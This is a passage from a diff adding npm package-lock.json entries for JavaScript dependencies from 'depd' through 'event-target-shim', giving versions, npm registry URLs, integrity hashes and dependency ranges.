"sha512-KNTihKNmQENUZeKu5fzfpzRqR5S2VMp4gl9RFHiWzj9DfvYQPMJ6XHKNaQxaGCXwPk6y9yme3aUoaiAe+KX+vg==", + "peer": true + }, + "depd": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz", + "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==", + "peer": true + }, + "deprecated-react-native-prop-types": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/deprecated-react-native-prop-types/-/deprecated-react-native-prop-types-3.0.1.tgz", + "integrity": "sha512-J0jCJcsk4hMlIb7xwOZKLfMpuJn6l8UtrPEzzQV5ewz5gvKNYakhBuq9h2rWX7YwHHJZFhU5W8ye7dB9oN8VcQ==", + "peer": true, + "requires": { + "@react-native/normalize-color": "*", + "invariant": "*", + "prop-types": "*" + } + }, + "deps-sort": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/deps-sort/-/deps-sort-2.0.0.tgz", + "integrity": "sha1-CRckkC6EZYJg65EHSMzNGvbiH7U=", + "dev": true, + "requires": { + "JSONStream": "^1.0.3", + "shasum": "^1.0.0", + "subarg": "^1.0.0", + "through2": "^2.0.0" + } + }, + "des.js": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/des.js/-/des.js-1.0.0.tgz", + "integrity": "sha1-wHTS4qpqipoH29YfmhXCzYPsjsw=", + "dev": true, + "requires": { + "inherits": "^2.0.1", + "minimalistic-assert": "^1.0.0" + } + }, + "destroy": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/destroy/-/destroy-1.2.0.tgz", + "integrity": "sha512-2sJGJTaXIIaR1w4iJSNoN0hnMY7Gpc/n8D4qSCJw8QqFWXf7cuAgnEHxBpweaVcPevC2l3KpjYCx3NypQQgaJg==", + "peer": true + }, + "detect-indent": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/detect-indent/-/detect-indent-4.0.0.tgz", + "integrity": "sha1-920GQ1LN9Docts5hnE7jqUdd4gg=", + "dev": true, + "requires": { + "repeating": "^2.0.0" + } + }, + "detect-libc": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-0.2.0.tgz", + "integrity": "sha1-R/31ZzSKF+wl/L8LnkRjSKdvn7U=", + "dev": true, + "optional": true + }, + "detective": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/detective/-/detective-5.1.0.tgz", + "integrity": "sha512-TFHMqfOvxlgrfVzTEkNBSh9SvSNX/HfF4OFI2QFGCyPm02EsyILqnUeb5P6q7JZ3SFNTBL5t2sePRgrN4epUWQ==", + "dev": true, + "requires": { + "acorn-node": "^1.3.0", + "defined": "^1.0.0", + "minimist": "^1.1.1" + } + }, + "diff": { + "version": "3.5.0", + "resolved": "https://registry.npmjs.org/diff/-/diff-3.5.0.tgz", + "integrity": "sha512-A46qtFgd+g7pDZinpnwiRJtxbC1hpgf0uzP3iG89scHk0AUC7A1TGxf5OiiOUv/JMZR8GOt8hL900hV0bOy5xA==", + "dev": true + }, + "diffie-hellman": { + "version": "5.0.2", + "resolved": "https://registry.npmjs.org/diffie-hellman/-/diffie-hellman-5.0.2.tgz", + "integrity": "sha1-tYNXOScM/ias9jIJn97SoH8gnl4=", + "dev": true, + "requires": { + "bn.js": "^4.1.0", + "miller-rabin": "^4.0.0", + "randombytes": "^2.0.0" + } + }, + "doctrine": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-2.1.0.tgz", + "integrity": "sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw==", + "dev": true, + "requires": { + "esutils": "^2.0.2" + } + }, + "doctypes": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/doctypes/-/doctypes-1.1.0.tgz", + "integrity": "sha1-6oCxBqh1OHdOijpKWv4pPeSJ4Kk=", + "dev": true + }, + "dom-serializer": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-0.1.0.tgz", + "integrity": "sha1-BzxpdUbOB4DOI75KKOKT5AvDDII=", + "dev": true, + "requires": { + "domelementtype": "~1.1.1", + "entities": "~1.1.1" + }, + "dependencies": { + "domelementtype": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-1.1.3.tgz", + "integrity": "sha1-vSh3PiZCiBrsUVRJJCmcXNgiGFs=", + "dev": true + }, + "entities": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/entities/-/entities-1.1.1.tgz", + "integrity": "sha1-blwtClYhtdra7O+AuQ7ftc13cvA=", + "dev": true + } + } + }, + "domain-browser": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/domain-browser/-/domain-browser-1.2.0.tgz", + "integrity": "sha512-jnjyiM6eRyZl2H+W8Q/zLMA481hzi0eszAaBUzIVnmYVDBbnLxVNnfu1HgEBvCbL+71FrxMl3E6lpKH7Ge3OXA==", + "dev": true + }, + "domelementtype": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-1.3.0.tgz", + "integrity": "sha1-sXrtguirWeUt2cGbF1bg/BhyBMI=", + "dev": true + }, + "domhandler": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/domhandler/-/domhandler-2.3.0.tgz", + "integrity": "sha1-LeWaCCLVAn+r/28DLCsloqir5zg=", + "dev": true, + "requires": { + "domelementtype": "1" + } + }, + "domutils": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/domutils/-/domutils-1.5.1.tgz", + "integrity": "sha1-3NhIiib1Y9YQeeSMn3t+Mjc2gs8=", + "dev": true, + "requires": { + "dom-serializer": "0", + "domelementtype": "1" + } + }, + "dot-prop": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/dot-prop/-/dot-prop-4.2.0.tgz", + "integrity": "sha512-tUMXrxlExSW6U2EXiiKGSBVdYgtV8qlHL+C10TsW4PURY/ic+eaysnSkwB4kA/mBlCyy/IKDJ+Lc3wbWeaXtuQ==", + "dev": true, + "requires": { + "is-obj": "^1.0.0" + } + }, + "due": { + "version": "0.0.18", + "resolved": "https://registry.npmjs.org/due/-/due-0.0.18.tgz", + "integrity": "sha1-11dpSqWj7A5hBDg4yEzo1x5KLgE=", + "dev": true + }, + "duplexer2": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/duplexer2/-/duplexer2-0.1.4.tgz", + "integrity": "sha1-ixLauHjA1p4+eJEFFmKjL8a93ME=", + "dev": true, + "requires": { + "readable-stream": "^2.0.2" + } + }, + "duplexify": { + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/duplexify/-/duplexify-3.6.0.tgz", + "integrity": "sha512-fO3Di4tBKJpYTFHAxTU00BcfWMY9w24r/x21a6rZRbsD/ToUgGxsMbiGRmB7uVAXeGKXD9MwiLZa5E97EVgIRQ==", + "dev": true, + "requires": { + "end-of-stream": "^1.0.0", + "inherits": "^2.0.1", + "readable-stream": "^2.0.0", + "stream-shift": "^1.0.0" + } + }, + "ecc-jsbn": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/ecc-jsbn/-/ecc-jsbn-0.1.1.tgz", + "integrity": "sha1-D8c6ntXw1Tw4GTOYUj735UN3dQU=", + "dev": true, + "optional": true, + "requires": { + "jsbn": "~0.1.0" + } + }, + "editorconfig": { + "version": "0.15.3", + "resolved": "https://registry.npmjs.org/editorconfig/-/editorconfig-0.15.3.tgz", + "integrity": "sha512-M9wIMFx96vq0R4F+gRpY3o2exzb8hEj/n9S8unZtHSvYjibBp/iMufSzvmOcV/laG0ZtuTVGtiJggPOSW2r93g==", + "dev": true, + "requires": { + "commander": "^2.19.0", + "lru-cache": "^4.1.5", + "semver": "^5.6.0", + "sigmund": "^1.0.1" + }, + "dependencies": { + "lru-cache": { + "version": "4.1.5", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-4.1.5.tgz", + "integrity": "sha512-sWZlbEP2OsHNkXrMl5GYk/jKk70MBng6UU4YI/qGDYbgf6YbP4EvmqISbXCoJiRKs+1bSpFHVgQxvJ17F2li5g==", + "dev": true, + "requires": { + "pseudomap": "^1.0.2", + "yallist": "^2.1.2" + } + } + } + }, + "ee-first": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz", + "integrity": "sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==", + "peer": true + }, + "electron-to-chromium": { + "version": "1.4.311", + "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.4.311.tgz", + "integrity": "sha512-RoDlZufvrtr2Nx3Yx5MB8jX3aHIxm8nRWPJm3yVvyHmyKaRvn90RjzB6hNnt0AkhS3IInJdyRfQb4mWhPvUjVw==" + }, + "elliptic": { + "version": "6.4.0", + "resolved": "https://registry.npmjs.org/elliptic/-/elliptic-6.4.0.tgz", + "integrity": "sha1-ysmvh2LIWDYYcAPI3+GT5eLq5d8=", + "dev": true, + "requires": { + "bn.js": "^4.4.0", + "brorand": "^1.0.1", + "hash.js": "^1.0.0", + "hmac-drbg": "^1.0.0", + "inherits": "^2.0.1", + "minimalistic-assert": "^1.0.0", + "minimalistic-crypto-utils": "^1.0.0" + } + }, + "emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", + "peer": true + }, + "emojis-list": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/emojis-list/-/emojis-list-2.1.0.tgz", + "integrity": "sha1-TapNnbAPmBmIDHn6RXrlsJof04k=", + "dev": true + }, + "encodeurl": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-1.0.2.tgz", + "integrity": "sha512-TPJXq8JqFaVYm2CWmPvnP2Iyo4ZSM7/QKcSmuMLDObfpH5fi7RUGmd/rTDf+rut/saiDiQEeVTNgAmJEdAOx0w==", + "peer": true + }, + "encoding": { + "version": "0.1.12", + "resolved": "https://registry.npmjs.org/encoding/-/encoding-0.1.12.tgz", + "integrity": "sha1-U4tm8+5izRq1HsMjgp0flIDHS+s=", + "requires": { + "iconv-lite": "~0.4.13" + } + }, + "end-of-stream": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.1.tgz", + "integrity": "sha512-1MkrZNvWTKCaigbn+W15elq2BB/L22nqrSY5DKlo3X6+vclJm8Bb5djXJBmEX6fS3+zCh/F4VBK5Z2KxJt4s2Q==", + "requires": { + "once": "^1.4.0" + } + }, + "enhanced-resolve": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-4.3.0.tgz", + "integrity": "sha512-3e87LvavsdxyoCfGusJnrZ5G8SLPOFeHSNpZI/ATL9a5leXo2k0w6MKnbqhdBad9qTobSfB20Ld7UmgoNbAZkQ==", + "dev": true, + "requires": { + "graceful-fs": "^4.1.2", + "memory-fs": "^0.5.0", + "tapable": "^1.0.0" + }, + "dependencies": { + "memory-fs": { + "version": "0.5.0", + "resolved": "https://registry.npmjs.org/memory-fs/-/memory-fs-0.5.0.tgz", + "integrity": "sha512-jA0rdU5KoQMC0e6ppoNRtpp6vjFq6+NY7r8hywnC7V+1Xj/MtHwGIbB1QaK/dunyjWteJzmkpd7ooeWg10T7GA==", + "dev": true, + "requires": { + "errno": "^0.1.3", + "readable-stream": "^2.0.1" + } + } + } + }, + "entities": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/entities/-/entities-1.0.0.tgz", + "integrity": "sha1-sph6o4ITR/zeZCsk/fyeT7cSvyY=", + "dev": true + }, + "envinfo": { + "version": "7.8.1", + "resolved": "https://registry.npmjs.org/envinfo/-/envinfo-7.8.1.tgz", + "integrity": "sha512-/o+BXHmB7ocbHEAs6F2EnG0ogybVVUdkRunTT2glZU9XAaGmhqskrvKwqXuDfNjEO0LZKWdejEEpnq8aM0tOaw==" + }, + "err-code": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/err-code/-/err-code-1.1.2.tgz", + "integrity": "sha1-BuARbTAo9q70gGhJ6w6mp0iuaWA=", + "dev": true + }, + "errno": { + "version": "0.1.7", + "resolved": "https://registry.npmjs.org/errno/-/errno-0.1.7.tgz", + "integrity": "sha512-MfrRBDWzIWifgq6tJj60gkAwtLNb6sQPlcFrSOflcP1aFmmruKQ2wRnze/8V6kgyz7H3FF8Npzv78mZ7XLLflg==", + "dev": true, + "requires": { + "prr": "~1.0.1" + } + }, + "error": { + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/error/-/error-7.0.2.tgz", + "integrity": "sha1-pfdf/02ZJhJt2sDqXcOOaJFTywI=", + "dev": true, + "requires": { + "string-template": "~0.2.1", + "xtend": "~4.0.0" + } + }, + "error-ex": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/error-ex/-/error-ex-1.3.1.tgz", + "integrity": "sha1-+FWobOYa3E6GIcPNoh56dhLDqNw=", + "requires": { + "is-arrayish": "^0.2.1" + } + }, + "error-stack-parser": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/error-stack-parser/-/error-stack-parser-2.1.4.tgz", + "integrity": "sha512-Sk5V6wVazPhq5MhpO+AUxJn5x7XSXGl1R93Vn7i+zS15KDVxQijejNCrz8340/2bgLBjR9GtEG8ZVKONDjcqGQ==", + "peer": true, + "requires": { + "stackframe": "^1.3.4" + } + }, + "errorhandler": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/errorhandler/-/errorhandler-1.5.1.tgz", + "integrity": "sha512-rcOwbfvP1WTViVoUjcfZicVzjhjTuhSMntHh6mW3IrEiyE6mJyXvsToJUJGlGlw/2xU9P5whlWNGlIDVeCiT4A==", + "peer": true, + "requires": { + "accepts": "~1.3.7", + "escape-html": "~1.0.3" + } + }, + "es-abstract": { + "version": "1.12.0", + "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.12.0.tgz", + "integrity": "sha512-C8Fx/0jFmV5IPoMOFPA9P9G5NtqW+4cOPit3MIuvR2t7Ag2K15EJTpxnHAYTzL+aYQJIESYeXZmDBfOBE1HcpA==", + "dev": true, + "requires": { + "es-to-primitive": "^1.1.1", + "function-bind": "^1.1.1", + "has": "^1.0.1", + "is-callable": "^1.1.3", + "is-regex": "^1.0.4" + } + }, + "es-to-primitive": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/es-to-primitive/-/es-to-primitive-1.1.1.tgz", + "integrity": "sha1-RTVSSKiJeQNLZ5Lhm7gfK3l13Q0=", + "dev": true, + "requires": { + "is-callable": "^1.1.1", + "is-date-object": "^1.0.1", + "is-symbol": "^1.0.1" + } + }, + "es5-ext": { + "version": "0.10.45", + "resolved": "https://registry.npmjs.org/es5-ext/-/es5-ext-0.10.45.tgz", + "integrity": "sha512-FkfM6Vxxfmztilbxxz5UKSD4ICMf5tSpRFtDNtkAhOxZ0EKtX6qwmXNyH/sFyIbX2P/nU5AMiA9jilWsUGJzCQ==", + "dev": true, + "requires": { + "es6-iterator": "~2.0.3", + "es6-symbol": "~3.1.1", + "next-tick": "1" + } + }, + "es6-iterator": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/es6-iterator/-/es6-iterator-2.0.3.tgz", + "integrity": "sha1-p96IkUGgWpSwhUQDstCg+/qY87c=", + "dev": true, + "requires": { + "d": "1", + "es5-ext": "^0.10.35", + "es6-symbol": "^3.1.1" + } + }, + "es6-map": { + "version": "0.1.5", + "resolved": "https://registry.npmjs.org/es6-map/-/es6-map-0.1.5.tgz", + "integrity": "sha1-kTbgUD3MBqMBaQ8LsU/042TpSfA=", + "dev": true, + "requires": { + "d": "1", + "es5-ext": "~0.10.14", + "es6-iterator": "~2.0.1", + "es6-set": "~0.1.5", + "es6-symbol": "~3.1.1", + "event-emitter": "~0.3.5" + } + }, + "es6-object-assign": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/es6-object-assign/-/es6-object-assign-1.1.0.tgz", + "integrity": "sha1-wsNYJlYkfDnqEHyx5mUrb58kUjw=", + "dev": true + }, + "es6-promise": { + "version": "4.2.4", + "resolved": "https://registry.npmjs.org/es6-promise/-/es6-promise-4.2.4.tgz", + "integrity": "sha512-/NdNZVJg+uZgtm9eS3O6lrOLYmQag2DjdEXuPaHlZ6RuVqgqaVZfgYCepEIKsLqwdQArOPtC3XzRLqGGfT8KQQ==", + "dev": true + }, + "es6-set": { + "version": "0.1.5", + "resolved": "https://registry.npmjs.org/es6-set/-/es6-set-0.1.5.tgz", + "integrity": "sha1-0rPsXU2ADO2BjbU40ol02wpzzLE=", + "dev": true, + "requires": { + "d": "1", + "es5-ext": "~0.10.14", + "es6-iterator": "~2.0.1", + "es6-symbol": "3.1.1", + "event-emitter": "~0.3.5" + } + }, + "es6-symbol": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/es6-symbol/-/es6-symbol-3.1.1.tgz", + "integrity": "sha1-vwDvT9q2uhtG7Le2KbTH7VcVzHc=", + "dev": true, + "requires": { + "d": "1", + "es5-ext": "~0.10.14" + } + }, + "es6-weak-map": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/es6-weak-map/-/es6-weak-map-2.0.2.tgz", + "integrity": "sha1-XjqzIlH/0VOKH45f+hNXdy+S2W8=", + "dev": true, + "requires": { + "d": "1", + "es5-ext": "^0.10.14", + "es6-iterator": "^2.0.1", + "es6-symbol": "^3.1.1" + } + }, + "escalade": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.1.1.tgz", + "integrity": "sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw==" + }, + "escape-html": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz", + "integrity": "sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow==", + "peer": true + }, + "escape-string-regexp": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", + "integrity": "sha1-G2HAViGQqN/2rjuyzwIAyhMLhtQ=" + }, + "escope": { + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/escope/-/escope-3.6.0.tgz", + "integrity": "sha1-4Bl16BJ4GhY6ba392AOY3GTIicM=", + "dev": true, + "requires": { + "es6-map": "^0.1.3", + "es6-weak-map": "^2.0.1", + "esrecurse": "^4.1.0", + "estraverse": "^4.1.1" + } + }, + "eslint": { + "version": "4.19.1", + "resolved": "https://registry.npmjs.org/eslint/-/eslint-4.19.1.tgz", + "integrity": "sha512-bT3/1x1EbZB7phzYu7vCr1v3ONuzDtX8WjuM9c0iYxe+cq+pwcKEoQjl7zd3RpC6YOLgnSy3cTN58M2jcoPDIQ==", + "dev": true, + "requires": { + "ajv": "^5.3.0", + "babel-code-frame": "^6.22.0", + "chalk": "^2.1.0", + "concat-stream": "^1.6.0", + "cross-spawn": "^5.1.0", + "debug": "^3.1.0", + "doctrine": "^2.1.0", + "eslint-scope": "^3.7.1", + "eslint-visitor-keys": "^1.0.0", + "espree": "^3.5.4", + "esquery": "^1.0.0", + "esutils": "^2.0.2", + "file-entry-cache": "^2.0.0", + "functional-red-black-tree": "^1.0.1", + "glob": "^7.1.2", + "globals": "^11.0.1", + "ignore": "^3.3.3", + "imurmurhash": "^0.1.4", + "inquirer": "^3.0.6", + "is-resolvable": "^1.0.0", + "js-yaml": "^3.9.1", + "json-stable-stringify-without-jsonify": "^1.0.1", + "levn": "^0.3.0", + "lodash": "^4.17.4", + "minimatch": "^3.0.2", + "mkdirp": "^0.5.1", + "natural-compare": "^1.4.0", + "optionator": "^0.8.2", + "path-is-inside": "^1.0.2", + "pluralize": "^7.0.0", + "progress": "^2.0.0", + "regexpp": "^1.0.1", + "require-uncached": "^1.0.3", + "semver": "^5.3.0", + "strip-ansi": "^4.0.0", + "strip-json-comments": "~2.0.1", + "table": "4.0.2", + "text-table": "~0.2.0" + }, + "dependencies": { + "ansi-regex": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.0.tgz", + "integrity": "sha1-7QMXwyIGT3lGbAKWa922Bas32Zg=", + "dev": true + }, + "ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "requires": { + "color-convert": "^1.9.0" + } + }, + "chalk": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", + "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", + "dev": true, + "requires": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + } + }, + "color-convert": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", + "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", + "dev": true, + "requires": { + "color-name": "1.1.1" + } + }, + "color-name": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", + "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", + "dev": true + }, + "concat-stream": { + "version": "1.6.2", + "resolved": "https://registry.npmjs.org/concat-stream/-/concat-stream-1.6.2.tgz", + "integrity": "sha512-27HBghJxjiZtIk3Ycvn/4kbJk/1uZuJFfuPEns6LaEvpvG1f0hTea8lilrouyo9mVc2GWdcEZ8OLoGmSADlrCw==", + "dev": true, + "requires": { + "buffer-from": "^1.0.0", + "inherits": "^2.0.3", + "readable-stream": "^2.2.2", + "typedarray": "^0.0.6" + } + }, + "debug": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz", + "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==", + "dev": true, + "requires": { + "ms": "2.0.0" + } + }, + "esprima": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.0.tgz", + "integrity": "sha512-oftTcaMu/EGrEIu904mWteKIv8vMuOgGYo7EhVJJN00R/EED9DCua/xxHRdYnKtcECzVg7xOWhflvJMnqcFZjw==", + "dev": true + }, + "glob": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.2.tgz", + "integrity": "sha512-MJTUg1kjuLeQCJ+ccE4Vpa6kKVXkPYJ2mOCQyUuKLcLQsdrMCpBPUi8qVE6+YuaJkozeA9NusTAw3hLr8Xe5EQ==", + "dev": true, + "requires": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.4", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + } + }, + "globals": { + "version": "11.7.0", + "resolved": "https://registry.npmjs.org/globals/-/globals-11.7.0.tgz", + "integrity": "sha512-K8BNSPySfeShBQXsahYB/AbbWruVOTyVpgoIDnl8odPpeSfP2J5QO2oLFFdl2j7GfDCtZj2bMKar2T49itTPCg==", + "dev": true + }, + "has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", + "dev": true + }, + "js-yaml": { + "version": "3.12.0", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.12.0.tgz", + "integrity": "sha512-PIt2cnwmPfL4hKNwqeiuz4bKfnzHTBv6HyVgjahA6mPLwPDzjDWrplJBMjHUFxku/N3FlmrbyPclad+I+4mJ3A==", + "dev": true, + "requires": { + "argparse": "^1.0.7", + "esprima": "^4.0.0" + } + }, + "progress": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/progress/-/progress-2.0.0.tgz", + "integrity": "sha1-ihvjZr+Pwj2yvSPxDG/pILQ4nR8=", + "dev": true + }, + "strip-ansi": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz", + "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=", + "dev": true, + "requires": { + "ansi-regex": "^3.0.0" + } + }, + "supports-color": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", + "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", + "dev": true, + "requires": { + "has-flag": "^3.0.0" + } + } + } + }, + "eslint-loader": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/eslint-loader/-/eslint-loader-1.9.0.tgz", + "integrity": "sha1-fhvp/t3KMo09z67xrUnVvv/oOhM=", + "dev": true, + "requires": { + "loader-fs-cache": "^1.0.0", + "loader-utils": "^1.0.2", + "object-assign": "^4.0.1", + "object-hash": "^1.1.4", + "rimraf": "^2.6.1" + } + }, + "eslint-scope": { + "version": "3.7.1", + "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-3.7.1.tgz", + "integrity": "sha1-PWPD7f2gLgbgGkUq2IyqzHzctug=", + "dev": true, + "requires": { + "esrecurse": "^4.1.0", + "estraverse": "^4.1.1" + } + }, + "eslint-visitor-keys": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-1.0.0.tgz", + "integrity": "sha512-qzm/XxIbxm/FHyH341ZrbnMUpe+5Bocte9xkmFMzPMjRaZMcXww+MpBptFvtU+79L362nqiLhekCxCxDPaUMBQ==", + "dev": true + }, + "espree": { + "version": "3.5.4", + "resolved": "https://registry.npmjs.org/espree/-/espree-3.5.4.tgz", + "integrity": "sha512-yAcIQxtmMiB/jL32dzEp2enBeidsB7xWPLNiw3IIkpVds1P+h7qF9YwJq1yUNzp2OKXgAprs4F61ih66UsoD1A==", + "dev": true, + "requires": { + "acorn": "^5.5.0", + "acorn-jsx": "^3.0.0" + }, + "dependencies": { + "acorn": { + "version": "5.7.1", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-5.7.1.tgz", + "integrity": "sha512-d+nbxBUGKg7Arpsvbnlq61mc12ek3EY8EQldM3GPAhWJ1UVxC6TDGbIvUMNU6obBX3i1+ptCIzV4vq0gFPEGVQ==", + "dev": true + } + } + }, + "esprima": { + "version": "2.7.3", + "resolved": "https://registry.npmjs.org/esprima/-/esprima-2.7.3.tgz", + "integrity": "sha1-luO3DVd59q1JzQMmc9HDEnZ7pYE=", + "dev": true + }, + "esquery": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/esquery/-/esquery-1.0.1.tgz", + "integrity": "sha512-SmiyZ5zIWH9VM+SRUReLS5Q8a7GxtRdxEBVZpm98rJM7Sb+A9DVCndXfkeFUd3byderg+EbDkfnevfCwynWaNA==", + "dev": true, + "requires": { + "estraverse": "^4.0.0" + } + }, + "esrecurse": { + "version": "4.2.1", + "resolved": "https://registry.npmjs.org/esrecurse/-/esrecurse-4.2.1.tgz", + "integrity": "sha512-64RBB++fIOAXPw3P9cy89qfMlvZEXZkqqJkjqqXIvzP5ezRZjW+lPWjw35UX/3EhUPFYbg5ER4JYgDw4007/DQ==", + "dev": true, + "requires": { + "estraverse": "^4.1.0" + } + }, + "estraverse": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-4.2.0.tgz", + "integrity": "sha1-De4/7TH81GlhjOc0IJn8GvoL2xM=", + "dev": true + }, + "esutils": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.2.tgz", + "integrity": "sha1-Cr9PHKpbyx96nYrMbepPqqBLrJs=" + }, + "etag": { + "version": "1.8.1", + "resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz", + "integrity": "sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg==", + "peer": true + }, + "event-emitter": { + "version": "0.3.5", + "resolved": "https://registry.npmjs.org/event-emitter/-/event-emitter-0.3.5.tgz", + "integrity": "sha1-34xp7vFkeSPHFXuc6DhAYQsCzDk=", + "dev": true, + "requires": { + "d": "1", + "es5-ext": "~0.10.14" + } + }, + "event-target-shim": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/event-target-shim/-/event-target-shim-5.0.1.tgz", + "integrity": 